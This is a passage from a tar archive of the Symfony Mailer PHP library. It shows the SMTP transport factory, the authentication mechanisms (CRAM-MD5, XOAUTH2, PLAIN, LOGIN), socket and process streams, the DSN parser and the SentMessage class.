TransportException($message, $code ?: 535); } } Transport/Smtp/EsmtpTransportFactory.php 0000644 00000004542 15111203614 0014530 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Transport\Smtp; use Symfony\Component\Mailer\Transport\AbstractTransportFactory; use Symfony\Component\Mailer\Transport\Dsn; use Symfony\Component\Mailer\Transport\Smtp\Stream\SocketStream; use Symfony\Component\Mailer\Transport\TransportInterface; /** * @author Konstantin Myakshin <molodchick@gmail.com> */ final class EsmtpTransportFactory extends AbstractTransportFactory { public function create(Dsn $dsn): TransportInterface { $tls = 'smtps' === $dsn->getScheme() ? true : null; $port = $dsn->getPort(0); $host = $dsn->getHost(); $transport = new EsmtpTransport($host, $port, $tls, $this->dispatcher, $this->logger); if ('' !== $dsn->getOption('verify_peer') && !filter_var($dsn->getOption('verify_peer', true), \FILTER_VALIDATE_BOOL)) { /** @var SocketStream $stream */ $stream = $transport->getStream(); $streamOptions = $stream->getStreamOptions(); $streamOptions['ssl']['verify_peer'] = false; $streamOptions['ssl']['verify_peer_name'] = false; $stream->setStreamOptions($streamOptions); } if ($user = $dsn->getUser()) { $transport->setUsername($user); } if ($password = $dsn->getPassword()) { $transport->setPassword($password); } if (null !== ($localDomain = $dsn->getOption('local_domain'))) { $transport->setLocalDomain($localDomain); } if (null !== ($maxPerSecond = $dsn->getOption('max_per_second'))) { $transport->setMaxPerSecond((float) $maxPerSecond); } if (null !== ($restartThreshold = $dsn->getOption('restart_threshold'))) { $transport->setRestartThreshold((int) $restartThreshold, (int) $dsn->getOption('restart_threshold_sleep', 0)); } if (null !== ($pingThreshold = $dsn->getOption('ping_threshold'))) { $transport->setPingThreshold((int) $pingThreshold); } return $transport; } protected function getSupportedSchemes(): array { return ['smtp', 'smtps']; } } Transport/Smtp/Auth/AuthenticatorInterface.php 0000644 00000001477 15111203614 0015533 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Transport\Smtp\Auth; use Symfony\Component\Mailer\Exception\TransportExceptionInterface; use Symfony\Component\Mailer\Transport\Smtp\EsmtpTransport; /** * An Authentication mechanism. * * @author Chris Corbyn */ interface AuthenticatorInterface { /** * Tries to authenticate the user. * * @throws TransportExceptionInterface */ public function authenticate(EsmtpTransport $client): void; /** * Gets the name of the AUTH mechanism this Authenticator handles. */ public function getAuthKeyword(): string; } Transport/Smtp/Auth/CramMd5Authenticator.php 0000644 00000003222 15111203614 0015051 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Transport\Smtp\Auth; use Symfony\Component\Mailer\Transport\Smtp\EsmtpTransport; /** * Handles CRAM-MD5 authentication. * * @author Chris Corbyn */ class CramMd5Authenticator implements AuthenticatorInterface { public function getAuthKeyword(): string { return 'CRAM-MD5'; } /** * @see https://www.ietf.org/rfc/rfc4954.txt */ public function authenticate(EsmtpTransport $client): void { $challenge = $client->executeCommand("AUTH CRAM-MD5\r\n", [334]); $challenge = base64_decode(substr($challenge, 4)); $message = base64_encode($client->getUsername().' '.$this->getResponse($client->getPassword(), $challenge)); $client->executeCommand(sprintf("%s\r\n", $message), [235]); } /** * Generates a CRAM-MD5 response from a server challenge. */ private function getResponse(#[\SensitiveParameter] string $secret, string $challenge): string { if (\strlen($secret) > 64) { $secret = pack('H32', md5($secret)); } if (\strlen($secret) < 64) { $secret = str_pad($secret, 64, \chr(0)); } $kipad = substr($secret, 0, 64) ^ str_repeat(\chr(0x36), 64); $kopad = substr($secret, 0, 64) ^ str_repeat(\chr(0x5C), 64); $inner = pack('H32', md5($kipad.$challenge)); $digest = md5($kopad.$inner); return $digest; } } Transport/Smtp/Auth/XOAuth2Authenticator.php 0000644 00000002005 15111203614 0015051 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Transport\Smtp\Auth; use Symfony\Component\Mailer\Transport\Smtp\EsmtpTransport; /** * Handles XOAUTH2 authentication. * * @author xu.li<AthenaLightenedMyPath@gmail.com> * * @see https://developers.google.com/google-apps/gmail/xoauth2_protocol */ class XOAuth2Authenticator implements AuthenticatorInterface { public function getAuthKeyword(): string { return 'XOAUTH2'; } /** * @see https://developers.google.com/google-apps/gmail/xoauth2_protocol#the_sasl_xoauth2_mechanism */ public function authenticate(EsmtpTransport $client): void { $client->executeCommand('AUTH XOAUTH2 '.base64_encode('user='.$client->getUsername()."\1auth=Bearer ".$client->getPassword()."\1\1")."\r\n", [235]); } } Transport/Smtp/Auth/PlainAuthenticator.php 0000644 00000001560 15111203614 0014667 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Transport\Smtp\Auth; use Symfony\Component\Mailer\Transport\Smtp\EsmtpTransport; /** * Handles PLAIN authentication. * * @author Chris Corbyn */ class PlainAuthenticator implements AuthenticatorInterface { public function getAuthKeyword(): string { return 'PLAIN'; } /** * @see https://www.ietf.org/rfc/rfc4954.txt */ public function authenticate(EsmtpTransport $client): void { $client->executeCommand(sprintf("AUTH PLAIN %s\r\n", base64_encode($client->getUsername().\chr(0).$client->getUsername().\chr(0).$client->getPassword())), [235]); } } Transport/Smtp/Auth/LoginAuthenticator.php 0000644 00000001703 15111203614 0014673 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Transport\Smtp\Auth; use Symfony\Component\Mailer\Transport\Smtp\EsmtpTransport; /** * Handles LOGIN authentication. * * @author Chris Corbyn */ class LoginAuthenticator implements AuthenticatorInterface { public function getAuthKeyword(): string { return 'LOGIN'; } /** * @see https://www.ietf.org/rfc/rfc4954.txt */ public function authenticate(EsmtpTransport $client): void { $client->executeCommand("AUTH LOGIN\r\n", [334]); $client->executeCommand(sprintf("%s\r\n", base64_encode($client->getUsername())), [334]); $client->executeCommand(sprintf("%s\r\n", base64_encode($client->getPassword())), [235]); } } Transport/Smtp/Stream/AbstractStream.php 0000644 00000006760 15111203614 0014351 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Transport\Smtp\Stream; use Symfony\Component\Mailer\Exception\TransportException; /** * A stream supporting remote sockets and local processes. * * @author Fabien Potencier <fabien@symfony.com> * @author Nicolas Grekas <p@tchwork.com> * @author Chris Corbyn * * @internal */ abstract class AbstractStream { protected $stream; protected $in; protected $out; private string $debug = ''; public function write(string $bytes, bool $debug = true): void { if ($debug) { foreach (explode("\n", trim($bytes)) as $line) { $this->debug .= sprintf("> %s\n", $line); } } $bytesToWrite = \strlen($bytes); $totalBytesWritten = 0; while ($totalBytesWritten < $bytesToWrite) { $bytesWritten = @fwrite($this->in, substr($bytes, $totalBytesWritten)); if (false === $bytesWritten || 0 === $bytesWritten) { throw new TransportException('Unable to write bytes on the wire.'); } $totalBytesWritten += $bytesWritten; } } /** * Flushes the contents of the stream (empty it) and set the internal pointer to the beginning. */ public function flush(): void { fflush($this->in); } /** * Performs any initialization needed. */ abstract public function initialize(): void; public function terminate(): void { $this->stream = $this->out = $this->in = null; } public function readLine(): string { if (feof($this->out)) { return ''; } $line = fgets($this->out); if ('' === $line || false === $line) { $metas = stream_get_meta_data($this->out); if ($metas['timed_out']) { throw new TransportException(sprintf('Connection to "%s" timed out.', $this->getReadConnectionDescription())); } if ($metas['eof']) { throw new TransportException(sprintf('Connection to "%s" has been closed unexpectedly.', $this->getReadConnectionDescription())); } } $this->debug .= sprintf('< %s', $line); return $line; } public function getDebug(): string { $debug = $this->debug; $this->debug = ''; return $debug; } public static function replace(string $from, string $to, iterable $chunks): \Generator { if ('' === $from) { yield from $chunks; return; } $carry = ''; $fromLen = \strlen($from); foreach ($chunks as $chunk) { if ('' === $chunk = $carry.$chunk) { continue; } if (str_contains($chunk, $from)) { $chunk = explode($from, $chunk); $carry = array_pop($chunk); yield implode($to, $chunk).$to; } else { $carry = $chunk; } if (\strlen($carry) > $fromLen) { yield substr($carry, 0, -$fromLen); $carry = substr($carry, -$fromLen); } } if ('' !== $carry) { yield $carry; } } abstract protected function getReadConnectionDescription(): string; } Transport/Smtp/Stream/SocketStream.php 0000644 00000010723 15111203614 0014030 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Transport\Smtp\Stream; use Symfony\Component\Mailer\Exception\TransportException; /** * A stream supporting remote sockets. * * @author Fabien Potencier <fabien@symfony.com> * @author Chris Corbyn * * @internal */ final class SocketStream extends AbstractStream { private string $url; private string $host = 'localhost'; private int $port = 465; private float $timeout; private bool $tls = true; private ?string $sourceIp = null; private array $streamContextOptions = []; /** * @return $this */ public function setTimeout(float $timeout): static { $this->timeout = $timeout; return $this; } public function getTimeout(): float { return $this->timeout ?? (float) \ini_get('default_socket_timeout'); } /** * Literal IPv6 addresses should be wrapped in square brackets. * * @return $this */ public function setHost(string $host): static { $this->host = $host; return $this; } public function getHost(): string { return $this->host; } /** * @return $this */ public function setPort(int $port): static { $this->port = $port; return $this; } public function getPort(): int { return $this->port; } /** * Sets the TLS/SSL on the socket (disables STARTTLS). * * @return $this */ public function disableTls(): static { $this->tls = false; return $this; } public function isTLS(): bool { return $this->tls; } /** * @return $this */ public function setStreamOptions(array $options): static { $this->streamContextOptions = $options; return $this; } public function getStreamOptions(): array { return $this->streamContextOptions; } /** * Sets the source IP. * * IPv6 addresses should be wrapped in square brackets. * * @return $this */ public function setSourceIp(string $ip): static { $this->sourceIp = $ip; return $this; } /** * Returns the IP used to connect to the destination. */ public function getSourceIp(): ?string { return $this->sourceIp; } public function initialize(): void { $this->url = $this->host.':'.$this->port; if ($this->tls) { $this->url = 'ssl://'.$this->url; } $options = []; if ($this->sourceIp) { $options['socket']['bindto'] = $this->sourceIp.':0'; } if ($this->streamContextOptions) { $options = array_merge($options, $this->streamContextOptions); } // do it unconditionally as it will be used by STARTTLS as well if supported $options['ssl']['crypto_method'] ??= \STREAM_CRYPTO_METHOD_TLS_CLIENT | \STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT | \STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT; $streamContext = stream_context_create($options); $timeout = $this->getTimeout(); set_error_handler(function ($type, $msg) { throw new TransportException(sprintf('Connection could not be established with host "%s": ', $this->url).$msg); }); try { $this->stream = stream_socket_client($this->url, $errno, $errstr, $timeout, \STREAM_CLIENT_CONNECT, $streamContext); } finally { restore_error_handler(); } stream_set_blocking($this->stream, true); stream_set_timeout($this->stream, $timeout); $this->in = &$this->stream; $this->out = &$this->stream; } public function startTLS(): bool { set_error_handler(function ($type, $msg) { throw new TransportException('Unable to connect with STARTTLS: '.$msg); }); try { return stream_socket_enable_crypto($this->stream, true); } finally { restore_error_handler(); } } public function terminate(): void { if (null !== $this->stream) { fclose($this->stream); } parent::terminate(); } protected function getReadConnectionDescription(): string { return $this->url; } } Transport/Smtp/Stream/ProcessStream.php 0000644 00000003107 15111203614 0014214 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Transport\Smtp\Stream; use Symfony\Component\Mailer\Exception\TransportException; /** * A stream supporting local processes. * * @author Fabien Potencier <fabien@symfony.com> * @author Chris Corbyn * * @internal */ final class ProcessStream extends AbstractStream { private string $command; public function setCommand(string $command): void { $this->command = $command; } public function initialize(): void { $descriptorSpec = [ 0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', '\\' === \DIRECTORY_SEPARATOR ? 'a' : 'w'], ]; $pipes = []; $this->stream = proc_open($this->command, $descriptorSpec, $pipes); stream_set_blocking($pipes[2], false); if ($err = stream_get_contents($pipes[2])) { throw new TransportException('Process could not be started: '.$err); } $this->in = &$pipes[0]; $this->out = &$pipes[1]; } public function terminate(): void { if (null !== $this->stream) { fclose($this->in); fclose($this->out); proc_close($this->stream); } parent::terminate(); } protected function getReadConnectionDescription(): string { return 'process '.$this->command; } } Transport/Smtp/SmtpTransport.php 0000644 00000027761 15111203614 0013043 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Transport\Smtp; use Psr\EventDispatcher\EventDispatcherInterface; use Psr\Log\LoggerInterface; use Symfony\Component\Mailer\Envelope; use Symfony\Component\Mailer\Exception\LogicException; use Symfony\Component\Mailer\Exception\TransportException; use Symfony\Component\Mailer\Exception\TransportExceptionInterface; use Symfony\Component\Mailer\SentMessage; use Symfony\Component\Mailer\Transport\AbstractTransport; use Symfony\Component\Mailer\Transport\Smtp\Stream\AbstractStream; use Symfony\Component\Mailer\Transport\Smtp\Stream\SocketStream; use Symfony\Component\Mime\RawMessage; /** * Sends emails over SMTP. * * @author Fabien Potencier <fabien@symfony.com> * @author Chris Corbyn */ class SmtpTransport extends AbstractTransport { private bool $started = false; private int $restartThreshold = 100; private int $restartThresholdSleep = 0; private int $restartCounter = 0; private int $pingThreshold = 100; private float $lastMessageTime = 0; private AbstractStream $stream; private string $mtaResult = ''; private string $domain = '[127.0.0.1]'; public function __construct(AbstractStream $stream = null, EventDispatcherInterface $dispatcher = null, LoggerInterface $logger = null) { parent::__construct($dispatcher, $logger); $this->stream = $stream ?? new SocketStream(); } public function getStream(): AbstractStream { return $this->stream; } /** * Sets the maximum number of messages to send before re-starting the transport. * * By default, the threshold is set to 100 (and no sleep at restart). * * @param int $threshold The maximum number of messages (0 to disable) * @param int $sleep The number of seconds to sleep between stopping and re-starting the transport * * @return $this */ public function setRestartThreshold(int $threshold, int $sleep = 0): static { $this->restartThreshold = $threshold; $this->restartThresholdSleep = $sleep; return $this; } /** * Sets the minimum number of seconds required between two messages, before the server is pinged. * If the transport wants to send a message and the time since the last message exceeds the specified threshold, * the transport will ping the server first (NOOP command) to check if the connection is still alive. * Otherwise the message will be sent without pinging the server first. * * Do not set the threshold too low, as the SMTP server may drop the connection if there are too many * non-mail commands (like pinging the server with NOOP). * * By default, the threshold is set to 100 seconds. * * @param int $seconds The minimum number of seconds between two messages required to ping the server * * @return $this */ public function setPingThreshold(int $seconds): static { $this->pingThreshold = $seconds; return $this; } /** * Sets the name of the local domain that will be used in HELO. * * This should be a fully-qualified domain name and should be truly the domain * you're using. * * If your server does not have a domain name, use the IP address. This will * automatically be wrapped in square brackets as described in RFC 5321, * section 4.1.3. * * @return $this */ public function setLocalDomain(string $domain): static { if ('' !== $domain && '[' !== $domain[0]) { if (filter_var($domain, \FILTER_VALIDATE_IP, \FILTER_FLAG_IPV4)) { $domain = '['.$domain.']'; } elseif (filter_var($domain, \FILTER_VALIDATE_IP, \FILTER_FLAG_IPV6)) { $domain = '[IPv6:'.$domain.']'; } } $this->domain = $domain; return $this; } /** * Gets the name of the domain that will be used in HELO. * * If an IP address was specified, this will be returned wrapped in square * brackets as described in RFC 5321, section 4.1.3. */ public function getLocalDomain(): string { return $this->domain; } public function send(RawMessage $message, Envelope $envelope = null): ?SentMessage { try { $message = parent::send($message, $envelope); } catch (TransportExceptionInterface $e) { if ($this->started) { try { $this->executeCommand("RSET\r\n", [250]); } catch (TransportExceptionInterface) { // ignore this exception as it probably means that the server error was final } } throw $e; } if ($this->mtaResult && $messageId = $this->parseMessageId($this->mtaResult)) { $message->setMessageId($messageId); } $this->checkRestartThreshold(); return $message; } protected function parseMessageId(string $mtaResult): string { $regexps = [ '/250 Ok (?P<id>[0-9a-f-]+)\r?$/mis', '/250 Ok:? queued as (?P<id>[A-Z0-9]+)\r?$/mis', ]; $matches = []; foreach ($regexps as $regexp) { if (preg_match($regexp, $mtaResult, $matches)) { return $matches['id']; } } return ''; } public function __toString(): string { if ($this->stream instanceof SocketStream) { $name = sprintf('smtp%s://%s', ($tls = $this->stream->isTLS()) ? 's' : '', $this->stream->getHost()); $port = $this->stream->getPort(); if (!(25 === $port || ($tls && 465 === $port))) { $name .= ':'.$port; } return $name; } return 'smtp://sendmail'; } /** * Runs a command against the stream, expecting the given response codes. * * @param int[] $codes * * @throws TransportException when an invalid response if received */ public function executeCommand(string $command, array $codes): string { $this->stream->write($command); $response = $this->getFullResponse(); $this->assertResponseCode($response, $codes); return $response; } protected function doSend(SentMessage $message): void { if (microtime(true) - $this->lastMessageTime > $this->pingThreshold) { $this->ping(); } if (!$this->started) { $this->start(); } try { $envelope = $message->getEnvelope(); $this->doMailFromCommand($envelope->getSender()->getEncodedAddress()); foreach ($envelope->getRecipients() as $recipient) { $this->doRcptToCommand($recipient->getEncodedAddress()); } $this->executeCommand("DATA\r\n", [354]); try { foreach (AbstractStream::replace("\r\n.", "\r\n..", $message->toIterable()) as $chunk) { $this->stream->write($chunk, false); } $this->stream->flush(); } catch (TransportExceptionInterface $e) { throw $e; } catch (\Exception $e) { $this->stream->terminate(); $this->started = false; $this->getLogger()->debug(sprintf('Email transport "%s" stopped', __CLASS__)); throw $e; } $this->mtaResult = $this->executeCommand("\r\n.\r\n", [250]); $message->appendDebug($this->stream->getDebug()); $this->lastMessageTime = microtime(true); } catch (TransportExceptionInterface $e) { $e->appendDebug($this->stream->getDebug()); $this->lastMessageTime = 0; throw $e; } } /** * @internal since version 6.1, to be made private in 7.0 * * @final since version 6.1, to be made private in 7.0 */ protected function doHeloCommand(): void { $this->executeCommand(sprintf("HELO %s\r\n", $this->domain), [250]); } private function doMailFromCommand(string $address): void { $this->executeCommand(sprintf("MAIL FROM:<%s>\r\n", $address), [250]); } private function doRcptToCommand(string $address): void { $this->executeCommand(sprintf("RCPT TO:<%s>\r\n", $address), [250, 251, 252]); } public function start(): void { if ($this->started) { return; } $this->getLogger()->debug(sprintf('Email transport "%s" starting', __CLASS__)); $this->stream->initialize(); $this->assertResponseCode($this->getFullResponse(), [220]); $this->doHeloCommand(); $this->started = true; $this->lastMessageTime = 0; $this->getLogger()->debug(sprintf('Email transport "%s" started', __CLASS__)); } /** * Manually disconnect from the SMTP server. * * In most cases this is not necessary since the disconnect happens automatically on termination. * In cases of long-running scripts, this might however make sense to avoid keeping an open * connection to the SMTP server in between sending emails. */ public function stop(): void { if (!$this->started) { return; } $this->getLogger()->debug(sprintf('Email transport "%s" stopping', __CLASS__)); try { $this->executeCommand("QUIT\r\n", [221]); } catch (TransportExceptionInterface) { } finally { $this->stream->terminate(); $this->started = false; $this->getLogger()->debug(sprintf('Email transport "%s" stopped', __CLASS__)); } } private function ping(): void { if (!$this->started) { return; } try { $this->executeCommand("NOOP\r\n", [250]); } catch (TransportExceptionInterface) { $this->stop(); } } /** * @throws TransportException if a response code is incorrect */ private function assertResponseCode(string $response, array $codes): void { if (!$codes) { throw new LogicException('You must set the expected response code.'); } [$code] = sscanf($response, '%3d'); $valid = \in_array($code, $codes); if (!$valid || !$response) { $codeStr = $code ? sprintf('code "%s"', $code) : 'empty code'; $responseStr = $response ? sprintf(', with message "%s"', trim($response)) : ''; throw new TransportException(sprintf('Expected response code "%s" but got ', implode('/', $codes)).$codeStr.$responseStr.'.', $code ?: 0); } } private function getFullResponse(): string { $response = ''; do { $line = $this->stream->readLine(); $response .= $line; } while ($line && isset($line[3]) && ' ' !== $line[3]); return $response; } private function checkRestartThreshold(): void { // when using sendmail via non-interactive mode, the transport is never "started" if (!$this->started) { return; } ++$this->restartCounter; if ($this->restartCounter < $this->restartThreshold) { return; } $this->stop(); if (0 < $sleep = $this->restartThresholdSleep) { $this->getLogger()->debug(sprintf('Email transport "%s" sleeps for %d seconds after stopping', __CLASS__, $sleep)); sleep($sleep); } $this->start(); $this->restartCounter = 0; } public function __sleep(): array { throw new \BadMethodCallException('Cannot serialize '.__CLASS__); } public function __wakeup() { throw new \BadMethodCallException('Cannot unserialize '.__CLASS__); } public function __destruct() { $this->stop(); } } Transport/NullTransport.php 0000644 00000001216 15111203614 0012072 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Transport; use Symfony\Component\Mailer\SentMessage; /** * Pretends messages have been sent, but just ignores them. * * @author Fabien Potencier <fabien@symfony.com> */ final class NullTransport extends AbstractTransport { protected function doSend(SentMessage $message): void { } public function __toString(): string { return 'null://'; } } Transport/NullTransportFactory.php 0000644 00000001535 15111203614 0013426 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Transport; use Symfony\Component\Mailer\Exception\UnsupportedSchemeException; /** * @author Konstantin Myakshin <molodchick@gmail.com> */ final class NullTransportFactory extends AbstractTransportFactory { public function create(Dsn $dsn): TransportInterface { if ('null' === $dsn->getScheme()) { return new NullTransport($this->dispatcher, $this->logger); } throw new UnsupportedSchemeException($dsn, 'null', $this->getSupportedSchemes()); } protected function getSupportedSchemes(): array { return ['null']; } } Transport/AbstractTransportFactory.php 0000644 00000002677 15111203614 0014267 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Transport; use Psr\EventDispatcher\EventDispatcherInterface; use Psr\Log\LoggerInterface; use Symfony\Component\Mailer\Exception\IncompleteDsnException; use Symfony\Contracts\HttpClient\HttpClientInterface; /** * @author Konstantin Myakshin <molodchick@gmail.com> */ abstract class AbstractTransportFactory implements TransportFactoryInterface { protected $dispatcher; protected $client; protected $logger; public function __construct(EventDispatcherInterface $dispatcher = null, HttpClientInterface $client = null, LoggerInterface $logger = null) { $this->dispatcher = $dispatcher; $this->client = $client; $this->logger = $logger; } public function supports(Dsn $dsn): bool { return \in_array($dsn->getScheme(), $this->getSupportedSchemes()); } abstract protected function getSupportedSchemes(): array; protected function getUser(Dsn $dsn): string { return $dsn->getUser() ?? throw new IncompleteDsnException('User is not set.'); } protected function getPassword(Dsn $dsn): string { return $dsn->getPassword() ?? throw new IncompleteDsnException('Password is not set.'); } } Transport.php 0000644 00000015617 15111203614 0007255 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer; use Psr\EventDispatcher\EventDispatcherInterface; use Psr\Log\LoggerInterface; use Symfony\Component\Mailer\Bridge\Amazon\Transport\SesTransportFactory; use Symfony\Component\Mailer\Bridge\Google\Transport\GmailTransportFactory; use Symfony\Component\Mailer\Bridge\Infobip\Transport\InfobipTransportFactory; use Symfony\Component\Mailer\Bridge\Mailchimp\Transport\MandrillTransportFactory; use Symfony\Component\Mailer\Bridge\MailerSend\Transport\MailerSendTransportFactory; use Symfony\Component\Mailer\Bridge\Mailgun\Transport\MailgunTransportFactory; use Symfony\Component\Mailer\Bridge\Mailjet\Transport\MailjetTransportFactory; use Symfony\Component\Mailer\Bridge\OhMySmtp\Transport\OhMySmtpTransportFactory; use Symfony\Component\Mailer\Bridge\Postmark\Transport\PostmarkTransportFactory; use Symfony\Component\Mailer\Bridge\Sendgrid\Transport\SendgridTransportFactory; use Symfony\Component\Mailer\Bridge\Sendinblue\Transport\SendinblueTransportFactory; use Symfony\Component\Mailer\Exception\InvalidArgumentException; use Symfony\Component\Mailer\Exception\UnsupportedSchemeException; use Symfony\Component\Mailer\Transport\Dsn; use Symfony\Component\Mailer\Transport\FailoverTransport; use Symfony\Component\Mailer\Transport\NativeTransportFactory; use Symfony\Component\Mailer\Transport\NullTransportFactory; use Symfony\Component\Mailer\Transport\RoundRobinTransport; use Symfony\Component\Mailer\Transport\SendmailTransportFactory; use Symfony\Component\Mailer\Transport\Smtp\EsmtpTransportFactory; use Symfony\Component\Mailer\Transport\TransportFactoryInterface; use Symfony\Component\Mailer\Transport\TransportInterface; use Symfony\Component\Mailer\Transport\Transports; use Symfony\Contracts\HttpClient\HttpClientInterface; /** * @author Fabien Potencier <fabien@symfony.com> * @author Konstantin Myakshin <molodchick@gmail.com> */ final class Transport { private const FACTORY_CLASSES = [ GmailTransportFactory::class, InfobipTransportFactory::class, MailerSendTransportFactory::class, MailgunTransportFactory::class, MailjetTransportFactory::class, MandrillTransportFactory::class, OhMySmtpTransportFactory::class, PostmarkTransportFactory::class, SendgridTransportFactory::class, SendinblueTransportFactory::class, SesTransportFactory::class, ]; private iterable $factories; public static function fromDsn(#[\SensitiveParameter] string $dsn, EventDispatcherInterface $dispatcher = null, HttpClientInterface $client = null, LoggerInterface $logger = null): TransportInterface { $factory = new self(iterator_to_array(self::getDefaultFactories($dispatcher, $client, $logger))); return $factory->fromString($dsn); } public static function fromDsns(#[\SensitiveParameter] array $dsns, EventDispatcherInterface $dispatcher = null, HttpClientInterface $client = null, LoggerInterface $logger = null): TransportInterface { $factory = new self(iterator_to_array(self::getDefaultFactories($dispatcher, $client, $logger))); return $factory->fromStrings($dsns); } /** * @param TransportFactoryInterface[] $factories */ public function __construct(iterable $factories) { $this->factories = $factories; } public function fromStrings(#[\SensitiveParameter] array $dsns): Transports { $transports = []; foreach ($dsns as $name => $dsn) { $transports[$name] = $this->fromString($dsn); } return new Transports($transports); } public function fromString(#[\SensitiveParameter] string $dsn): TransportInterface { [$transport, $offset] = $this->parseDsn($dsn); if ($offset !== \strlen($dsn)) { throw new InvalidArgumentException('The mailer DSN has some garbage at the end.'); } return $transport; } private function parseDsn(#[\SensitiveParameter] string $dsn, int $offset = 0): array { static $keywords = [ 'failover' => FailoverTransport::class, 'roundrobin' => RoundRobinTransport::class, ]; while (true) { foreach ($keywords as $name => $class) { $name .= '('; if ($name === substr($dsn, $offset, \strlen($name))) { $offset += \strlen($name) - 1; preg_match('{\(([^()]|(?R))*\)}A', $dsn, $matches, 0, $offset); if (!isset($matches[0])) { continue; } ++$offset; $args = []; while (true) { [$arg, $offset] = $this->parseDsn($dsn, $offset); $args[] = $arg; if (\strlen($dsn) === $offset) { break; } ++$offset; if (')' === $dsn[$offset - 1]) { break; } } return [new $class($args), $offset]; } } if (preg_match('{(\w+)\(}A', $dsn, $matches, 0, $offset)) { throw new InvalidArgumentException(sprintf('The "%s" keyword is not valid (valid ones are "%s"), ', $matches[1], implode('", "', array_keys($keywords)))); } if ($pos = strcspn($dsn, ' )', $offset)) { return [$this->fromDsnObject(Dsn::fromString(substr($dsn, $offset, $pos))), $offset + $pos]; } return [$this->fromDsnObject(Dsn::fromString(substr($dsn, $offset))), \strlen($dsn)]; } } public function fromDsnObject(Dsn $dsn): TransportInterface { foreach ($this->factories as $factory) { if ($factory->supports($dsn)) { return $factory->create($dsn); } } throw new UnsupportedSchemeException($dsn); } /** * @return \Traversable<int, TransportFactoryInterface> */ public static function getDefaultFactories(EventDispatcherInterface $dispatcher = null, HttpClientInterface $client = null, LoggerInterface $logger = null): \Traversable { foreach (self::FACTORY_CLASSES as $factoryClass) { if (class_exists($factoryClass)) { yield new $factoryClass($dispatcher, $client, $logger); } } yield new NullTransportFactory($dispatcher, $client, $logger); yield new SendmailTransportFactory($dispatcher, $client, $logger); yield new EsmtpTransportFactory($dispatcher, $client, $logger); yield new NativeTransportFactory($dispatcher, $client, $logger); } } SentMessage.php 0000644 00000004101 15111203614 0007461 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer; use Symfony\Component\Mime\Message; use Symfony\Component\Mime\RawMessage; /** * @author Fabien Potencier <fabien@symfony.com> */ class SentMessage { private RawMessage $original; private RawMessage $raw; private Envelope $envelope; private string $messageId; private string $debug = ''; /** * @internal */ public function __construct(RawMessage $message, Envelope $envelope) { $message->ensureValidity(); $this->original = $message; $this->envelope = $envelope; if ($message instanceof Message) { $message = clone $message; $headers = $message->getHeaders(); if (!$headers->has('Message-ID')) { $headers->addIdHeader('Message-ID', $message->generateMessageId()); } $this->messageId = $headers->get('Message-ID')->getId(); $this->raw = new RawMessage($message->toIterable()); } else { $this->raw = $message; } } public function getMessage(): RawMessage { return $this->raw; } public function getOriginalMessage(): RawMessage { return $this->original; } public function getEnvelope(): Envelope { return $this->envelope; } public function setMessageId(string $id): void { $this->messageId = $id; } public function getMessageId(): string { return $this->messageId; } public function getDebug(): string { return $this->debug; } public function appendDebug(string $debug): void { $this->debug .= $debug; } public function toString(): string { return $this->raw->toString(); } public function toIterable(): iterable { return $this->raw->toIterable(); } } EventListener/EnvelopeListener.php 0000644 00000003664 15111203614 0013332 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\EventListener; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use 